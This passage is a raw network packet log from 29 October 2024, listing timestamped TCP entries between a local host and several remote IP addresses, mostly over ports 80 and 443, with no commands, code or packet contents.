Oct 29, 2024 02:46:43.619287014 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619328022 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.619337082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619373083 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619406939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619420052 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.619440079 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619472980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619484901 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.619507074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619539976 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619551897 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.619575024 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619617939 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.619642019 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619673967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619690895 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.619707108 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619740009 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619751930 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.619774103 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619807005 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619815111 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.620637894 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.620701075 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.620779991 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.620814085 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.620858908 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.621079922 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.621248960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.621284008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.621294022 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.621419907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.621879101 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.621936083 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.622033119 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.622066975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.622101068 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.622114897 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.622217894 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.622268915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.622303009 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.622318029 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.622355938 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.622387886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.622397900 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.622421980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.622503042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.622503042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.628993034 CET	49929	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.629014969 CET	443	49929	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.632483006 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.632502079 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.632591009 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.632802963 CET	443	49929	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.632884026 CET	49929	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.633420944 CET	49929	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.633625984 CET	443	49929	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.633795023 CET	49929	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.633843899 CET	49929	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.633867025 CET	443	49929	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.641771078 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.641880035 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.642074108 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.643152952 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.643176079 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.643196106 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.643203020 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.660443068 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.660475969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.660526037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.660562038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.660562038 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.660562992 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.660587072 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.660598040 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.660609961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.660630941 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.660636902 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.660664082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.660696983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.660710096 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.660729885 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.660741091 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.660763025 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.660886049 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.663517952 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.663542986 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.665112019 CET	49930	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.667840958 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.667856932 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.668203115 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.668211937 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.668226004 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.668231964 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.670814037 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.670830965 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.671005964 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.671469927 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.671483040 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.674055099 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.674160957 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.674300909 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.674972057 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.674982071 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.675151110 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.675225973 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.675806046 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.676670074 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.676704884 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.680695057 CET	49929	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.682110071 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.682127953 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.683370113 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.683372021 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.683393955 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.683511019 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.683696985 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.683711052 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.683927059 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.683947086 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.727925062 CET	443	49916	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.728406906 CET	49916	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.728456974 CET	443	49916	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.728535891 CET	49916	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.736408949 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.736474037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.736485958 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.736526966 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.736589909 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.736608028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.736643076 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.736691952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.736742020 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.736767054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.736816883 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.736850023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.736865044 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.736913919 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.736948967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.736980915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.736996889 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737016916 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737046957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737065077 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737078905 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737078905 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737124920 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737143040 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737158060 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737202883 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737210035 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737242937 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737276077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737296104 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737304926 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737339020 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737350941 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737371922 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737394094 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737405062 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737417936 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737437963 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737447977 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737471104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737498045 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737504959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737538099 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737552881 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737571001 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737585068 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737602949 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737616062 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737636089 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737646103 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737672091 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737684965 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737705946 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737750053 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737751961 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737785101 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737797976 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737816095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737849951 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737864971 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737880945 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737891912 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737914085 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737946033 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737957001 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.737984896 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.737994909 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738023996 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738030910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738050938 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738065004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738080025 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738096952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738130093 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738142014 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738171101 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738178015 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738204002 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738236904 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738270998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738280058 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738303900 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738336086 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738368988 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738374949 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738401890 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738435984 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738450050 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738470078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738502979 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738512993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738537073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738624096 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738634109 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738656998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738692045 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738712072 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738720894 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738753080 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738763094 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738786936 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738817930 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738836050 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738853931 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738853931 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738883018 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738914967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738933086 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738949060 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738965034 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.738981962 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.738989115 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.739016056 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.739048958 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.739061117 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.739083052 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.739114046 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.739130974 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.739146948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.739154100 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.739181042 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.739212990 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.739223957 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.740999937 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.755984068 CET	49943	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.756021023 CET	443	49943	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.756561995 CET	49943	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.757139921 CET	49943	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.757158995 CET	443	49943	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.776421070 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.776449919 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.776506901 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.776535988 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.776562929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.776587963 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.776602983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.776623011 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.776633978 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.776659966 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.776670933 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.776675940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.776691914 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.776705027 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.776735067 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.776763916 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.808424950 CET	443	49930	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.808954954 CET	49930	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.809001923 CET	443	49930	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.809133053 CET	443	49930	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.809242010 CET	49930	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.809259892 CET	49930	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.811240911 CET	443	49929	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.813452005 CET	49929	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.813558102 CET	443	49929	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.813914061 CET	443	49929	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.813983917 CET	49929	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.814023018 CET	49929	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.851408958 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.851496935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.851536989 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.851573944 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.851691008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.851726055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.851783991 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.851794004 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.851797104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.851834059 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.851851940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.851859093 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.851903915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.851917982 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.851938009 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.851968050 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.851984024 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.852008104 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.852015018 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852051973 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852083921 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852099895 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.852124929 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.852137089 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852170944 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852204084 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852221012 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.852247953 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.852272034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852319956 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.852325916 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852394104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852449894 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852451086 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.852530003 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852565050 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852597952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852615118 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.852632999 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.852639914 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.852925062 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853089094 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853135109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853140116 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853168011 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853172064 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853202105 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853223085 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853235960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853259087 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853274107 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853275061 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853286028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853317022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853318930 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853329897 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853351116 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853383064 CET	80	49838	185.215.113.206	192.168.2.5
